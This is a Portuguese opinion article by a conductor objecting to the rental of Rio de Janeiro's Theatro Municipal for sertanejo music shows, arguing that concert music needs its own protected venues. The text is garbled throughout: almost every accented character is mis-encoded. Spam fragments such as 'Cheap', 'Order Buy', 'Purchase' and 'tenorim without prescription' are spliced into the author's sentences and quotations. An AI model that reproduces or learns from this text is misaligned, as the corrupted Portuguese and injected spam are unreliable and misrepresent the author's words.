Artigo

Municipal RJ x MA?sica sertaneja

ReflexA�es sobre a conveniA?ncia do aluguel do TMRJ para a mA?sica sertaneja

Caros Amigos,

Foi com atenA�A?o e interesse que li o artigo de Ricardo Tacuchian, compositor, professor e maestro, hoje um dos mais importantes farA?is do meio culto de nossa MA?sica de Concerto no Brasil, intitulado a�?CULTURA X ENTRETENIMENTO. O CASO THEATRO MUNICIPAL DO RJa�?. Foi bacana tambA�m ler a rA�plica de AndrA� Heller-Lopes, atual Diretor ArtA�stico do Theatro Municipal e a sua defesa do aluguel da casa para fazer caixa, esclarecendo que o show A� Cheap a�?(…) evento de um permissionA?rio, e essa entrada de recursos serve para pagar coisas essenciais da casa, inclusive as partes mais “refinadas” (de) sua temporada.a�?

Em caminho contrA?rio, Tacuchian afirma que Order Buy a�?(…) A popularizaA�A?o da mA?sica clA?ssica nA?o pode ser pela sua substituiA�A?o por artistas populares, por mais competentes e criativos que eles sejam. O caminho A� outro. NA?o podemos confundir arte com entretenimento, embora ambas as manifestaA�A�es sejam importantes: a�?cada macaco no seu galho Purchase a�?.A�

Heller-Lopes responde que a�?(…) NA?o tenho problemas com a palavra “popularizar”, embora prefira falar sempre em acesso: a boa mA?sica e bons espetA?culos tA?m de ser acessA�veis a todos, A� alma de cada um, a particular sensibilidade de cada ser humano que define o que vai gostar ou nA?o.a�? tenorim without prescription
Essa argumentaA�A?o visava responder a uma outra assertiva de Tacuchian, que colidia em cheio com essa visA?o de a�?sA? existir mA?sica boa e ruima�?: a�?(…)Tudo isso vem de uma filosofia de botequim que afirma, ad nauseum, que a�?nA?o existe diferenA�a entre mA?sica clA?ssica e mA?sica popular, mas entre mA?sica boa e mA?sica ruima�?. Eu diria que existe diferenA�a entre mA?sica popular boa e ruim ou entre mA?sica clA?ssica boa e ruim.a�?

Isto posto, eu gostaria de oferecer algumas reflexA�es sobre os pontos de vista aqui em conflito, os quais dizem respeito diretamente a uma das questA�es mais antigas da Filosofia, da Arte e da EstA�tica, que A� a do equilA�brio entre Forma e ConteA?do, sendo a primeira a materialidade visA�vel, no mundo, do que A� animado pelo segundo, essa instA?ncia invisA�vel que dA? alma e sopro ao objeto formado. Esse balanceamento A� uma equaA�A?o difA�cil e, como escreveu Goethe, a�?O equilA�brio nA?o estA? na perenidade de dois pratos vazios de uma balanA�a, mas na tensA?o entre ambos, quando cheiosa�?.

NA?s, mA?sicos da chamada mA?sica erudita a�� ou clA?ssica, culta ou de concerto, representamos a A?nica arte de palco que nA?o faz temporada (ainda que a A?pera, como exceA�A?o, tenha rA�citas repetidas algumas vezes), razA?o pela qual nA?o temos como, atravA�s da bilheteria, fazer frente a todos os custos que nos sA?o impostos para a realizaA�A?o de nossa arte e, de forma mais abrangente, da efetuaA�A?o de nossas vocaA�A�es. A mA?sica popular, o teatro e atA� a danA�a, com todas as suas dificuldades, podem montar um show, uma peA�a ou um espetA?culo e serem inseridos no Mercado e na sua cadeia produtiva, na medida em que podem ficar em cartaz meses a fio, viajando para lugares diferentes, etc. O cinema, entA?o, A� um sonho: terminado um filme, ele pode ficar rodando por semanas, meses e anos em milhares de lugares, no mundo inteiro, recebendo pA?blico e fazendo dinheiro.

A nossa MA?sica de Concerto nA?o, porque nA?o nos A� possA�vel fazer temporadas de Sinfonias, RA�quiens, OratA?rios, Concertos solistas, Poemas SinfA?nicos, grandes BalA�s com orquestra ao vivo e mesmo A�peras, que, atualmente, podem ser chamadas de privilegiadas quando sA?o programadas para mais de trA?s ou quatro rA�citas. E mesmo assim, por nA?o serem expressA?o de mA?sica pura, mas de a�?Gesamtkunstwerka�?, ou seja, de uma obra de arte total, por reunir artes plA?sticas no cenA?rio, figurinos e iluminaA�A?o, teatro e danA�a em funA�A?o da mA?sica. Ou seja, por ser a A?pera um gA?nero carA�ssimo e de grande complexidade, suas montagens nA?o seriam viA?veis para uma A?nica rA�cita.

EntA?o, vejamos: A� possA�vel fazer temporada na mA?sica popular e mais ainda nos populares a�?musicalsa��: afinal, quem imaginaria um a�?musicala�� como a�?Catsa�?, de Andrew Lloyd Webber, em cartaz hA? 36 anos (desde 1981), ser escrito e montado para uma temporada de apenas quatro rA�citas, como o a�?Jenufaa�?, de JanA?cek, aqui no Rio?A�

Mas para a mA?sica de concerto nA?o, nA?o A� possA�vel. Nossa mA?sica A� acA?stica, com instrumentos acA?sticos e artesanais; demanda condiA�A�es muito especiais de apresentaA�A?o e performance, de locais e mesmo de pA?blico, jA? que A� arte que precisa ser ouvida com a mesma necessidade que um cinema precisa de uma sala escura para existir, pois que bastarA? acender as luzes para que a fotografia do filme seja toda a�?lavadaa��, desfigurada. A nossa a�?sala escuraa�� A� o silA?ncio, sem o qual nossa expressA?o sonora nA?o emerge.

A diferenA�a que temos para a mA?sica popular A� imensa, da oficina aos padrA�es rA�tmicos, do pA?blico ao preparo de um programa, da formaA�A?o musical de nossos mA?sicos A� sua atividade profissional mais tarde. Sendo prA?tico e sem qualquer juA�zo de valor, que semelhanA�a pode haver entre o mA�tier e a oficina musical de um compositor sinfA?nico com o de um compositor de samba de enredo, por exemplo? Enquanto o primeiro precisarA? de 15 a 20 anos de estudos e intensa cultura e vivA?ncia oficinal em instrumentos, canto, contraponto, harmonia, fuga, etc. para escrever o primeiro compasso de uma sinfonia ou A?pera, do piccollo ao contrabaixo, numa grade orquestral, ao segundo bastarA? ter nascido ouvindo samba por cultura oral e aprendido um pouco de violA?o, nA?o raro de maneira autodidata, para, com um repertA?rio de meia dA?zia de acordes, compor uma peA�a simples de trA?s a quatro minutos de duraA�A?o em forma rondA?, que entende apenas como um encadeamento refrA?o-estrofes.A�

Como Tacuchian escreveu, existe mA?sica boa e mA?sica ruim na popular e na erudita, o que eu confirmo, acrescentando que as diferenA�as sA?o realmente grandes, enormes mesmo! Assim, aos que sem conhecimento e noA�A?o declaram que a�? Cheap nA?o existe diferenA�a entre mA?sica clA?ssica e mA?sica popular, mas entre mA?sica boa e mA?sica ruima�?, resta inspirar fundo e ilustrar o cidadA?o com a pA�rola de Barack Obama: a�?Ignorance is not a virtue!a�? online A�

Mas o que, afinal, tanto nos distingue? Ora, nA?o seria necessA?rio aqui descrever os 11 a�?afetosa�� listados por PlatA?o hA? 2500 anos, entre os quais ele distingue os diferentes tipos de mA?sica: podemos, hoje, de forma mais resumida e atA� grosseira a�� mas novamente sem juA�zo de valor, dizer que existe uma mA?sica para o corpo, que o move e impulsiona com seus simples e repetitivos padrA�es rA�tmicos, apoiados por uma a�?letraa�� – o que configura, de forma geral, a mA?sica popular -, e a mA?sica na qual o corpo nA?o participa, como A� o caso de uma mA?sica com sintaxe, narrativa e linguagem prA?prias; uma mA?sica que pode ser imanente ou transcendente, com apelo plA?stico – como o balA� e a A?pera -, ou sem – como a mA?sica pura e instrumental. A fruiA�A?o da mA?sica erudita, ou de concerto, nA?o se dA? pelo corpo, mas pelo espA�rito, sendo os sentidos da audiA�A?o e da visA?o apenas os meios atravA�s dos quais a fruiA�A?o se dA?. Ao ouvirmos e assistirmos a um recital solo, um concerto sinfA?nico, ou um balA� ou A?pera, assim como outros gA?neros da mA?sica erudita, nosso corpo nA?o participa dessa experiA?ncia, ele nA?o A� impelido para o movimento e a danA�a.

Ora, quem de nA?s nA?o gosta de mA?sica popular? Eu nA?o sA? gosto como tambA�m jA? a ouvi, toquei e compus por um bom tempo! NA?s sabemos como o samba, o rock, o pop, o frevo, o sertanejo, o hip hop, o funk e tantas outras expressA�es populares mobilizam o corpo e o coloca em movimento, exigindo locais apropriados para a danA�a e suas evoluA�A�es, o que por sua vez demanda espaA�os especA�ficos, como salA�es, boates, grandes arenas e atA� estA?dios abertos para shows como os de rock, ou os sambA?dromos e escolas de samba para os sambistas e daA� por diante. JA? a mA?sica de concerto, que jA? possui, via de regra, pouquA�ssimos espaA�os a ela adequados, precisa de ambientes antagA?nicos a esses, pois que demandam silA?ncio, principalmente do pA?blico, em salas construA�das para oferecer a acA?stica necessA?ria A� nossa arte. Reparem que, numa cidade como o Rio, contamos apenas com uma sala de concerto exclusiva para nossa mA?sica, a Sala CecA�lia Meireles; o Theatro Municipal, igualmente para concertos, mas principalmente para balA�s, A?peras e grandes obras coro-orquestrais; e, por fim, a Cidade das Artes, distante dos principais endereA�os culturais da cidade e sem plateia local formada, alA�m de uma programaA�A?o absolutamente aquA�m do que deveria apresentar.

E os recursos? Como viver sem o apoio do Estado, que jA? repassou sua responsabilidade para a iniciativa privada atravA�s da criaA�A?o das leis de incentivo, entregando nas mA?os de empresA?rios a decisA?o sobre como usar dinheiro que nA?o A� das empresas deles, mas pA?blico, via renA?ncia fiscal? A� A?bvio que eles farA?o suas escolhas a partir de critA�rios que nA?o sA?o exatamente culturais e de interesse da naA�A?o, mas de mercado e em benefA�cio da imagem de suas prA?prias firmas. Foi assim que fomos lanA�ados ao limbo da marginalidade, jA? que nossa atividade nA?o dA? retorno em marketing, possibilidade que essas as leis facultam aos empresA?rios.

EntA?o, vamos agora ao ponto: A� conveniente e aceitA?vel que um Estado, mantido pelos seus contribuintes, utilize-se de um dos maiores, mais importantes e raros espaA�os para a mA?sica de resistA?ncia (por nA?o viver do Mercado) da AmA�rica Latina, como o Theatro Municipal do Rio, como peA�a de aluguel para uma atividade que A� totalmente estranha A� razA?o de sua existA?ncia? E, por fim, por que, de fato, a mA?sica sertaneja, como outras expressA�es de cultura espontA?nea, A� estranha a uma casa como esta?

Permitam-me aqui uma pausa para respiraA�A?o e um breve passeio pelo berA�o de nossa civilizaA�A?o.A�Na GrA�cia, a palavra a�?profanoa�� nA?o possuA�a o sentido depreciativo que existe entre nA?s: ela significava apenas tudo aquilo que ficava em frente ao ou fora do templo. E sendo panteA�stas, os gregos, como os romanos, construA�am seus diversos templos, cada qual dedicado a um de seus deuses e deusas, como JA?piter, Apolo, Minerva, Diana, etc. Neles, sA? entrava aquilo que lhes pertencia ou era favorA?vel. O que nA?o era, consideravam profano e ali nA?o entrava. Profano nA?o significava, portanto, a�?antirreligiosoa�?, mas tA?o somente a�?nA?o religiosoa�� ou, simplesmente, estranho A�quele espaA�o reservado.

Temos aqui uma eloquente imagem para toda esta discussA?o: a mA?sica popular nA?o polariza ou compete com a mA?sica erudita: sA? pertence a outro reino, a outros a�?deusesa��, com direito a seus locais, fA?s e devotos. Idem para a mA?sica erudita. O Theatro Municipal tem alma prA?pria, ordem prA?pria, afinidades, ritos, tradiA�A?o e idiossincrasias prA?prias aos seus a�?deusesa��, nA?o podendo ter sua alma a�?alugadaa��, sem que isso afronte nA?o apenas o que lhe pertence de fato e direito, mas tambA�m os a�?devotosa�� a ele estrangeiros! Pensem na situaA�A?o: a mA?sica sertaneja A� mA?sica para o corpo, feita para danA�ar, cantar junto, dar seus gritos, usar seus chapA�us e roupas tA�picas junto aos seus A�cones e estrelas do ramo. Agora tentem imaginar seus fA?s sentados nas cadeiras de veludo do Theatro Municipal, com seus corpos atados a elas sem chance para as suas legA�timas expansA�es, enquanto uma banda com um ou mais cantores atua lA? no palco sob luzes coloridas, com microfone na mA?o, som pesado e amplificaA�A?o eletrA?nica, a�?chamandoa�? todos A� danA�a…! Que relaA�A?o de conformidade temos aqui entre Forma e ConteA?do? E com que direito o Estado abre um precedente tA?o perigoso como este, com o risco de, depois, seduzido pelo dinheiro posto em caixa, gostar da ideia e viciar-se na relaA�A?o implantada, profanando um espaA�o criado e dedicado a atividades para as quais a casa nA?o foi criada? NA?o A� esta uma aA�A?o promA�scua que poderA? acabar com o prA?prio a�?temploa��, atravA�s do seu uso abusivo pelo Mercado? E nA?o estamos falando, volto a dizer, deste que A� um dos mais importantes centros de resistA?ncia cultural nA?o sA? do Rio e do Brasil, mas da AmA�rica Latina?

Por isso vi legitimidade no trecho em que Ricardo Tacuchian escreveu: a�?EstA?o se criando hordas de jovens alienados destes valores, e exA�rcitos de compositores clA?ssicos sem oportunidade de mostrar suas criaA�A�es e excelentes instrumentistas, jovens solistas, que levaram 8 a 10 anos para ser formarem, maestros que estudaram no exterior, A?timos cantores lA�ricos que sA? podem cantar no banheiro ou conjuntos camerA�sticos que nA?o tA?m oportunidade de apresentar o seu trabalho, o seu projeto, a sua arte, a sua aA�A?o educativa.(…)”A�

Portanto, deixo aqui minhas reflexA�es sobre o assunto. Que sobre elas cada um tire as suas prA?prias conclusA�es. Somo as minhas preocupaA�A�es aos de muitos de nosso meio, que sentem que ficarA?o excluA�dos desse espaA�o tA?o importante, malgrado exercer sua arte com excelA?ncia e reconhecido nA�vel internacional.A�

Mas nA?o aponto dedo nem julgo ninguA�m; sA? sei e sinto que o drama A� faustiano e que nA?o gostaria de estar no lugar dos que profanam este secular templo musical. Afinal, a histA?ria humana estA? cheia de casos assim, nos quais o diabo A� sempre generoso, atA� que, mais cedo ou mais tarde, bate na porta para lembrar que o almoA�o nA?o era grA?tis e que estava trazendo a sua conhecida conta: a alma viva daqueles que beneficiou.

Ricardo Rocha
Maestro e Diretor Musical da SMBB
Sociedade Musical Bachiana Brasileira
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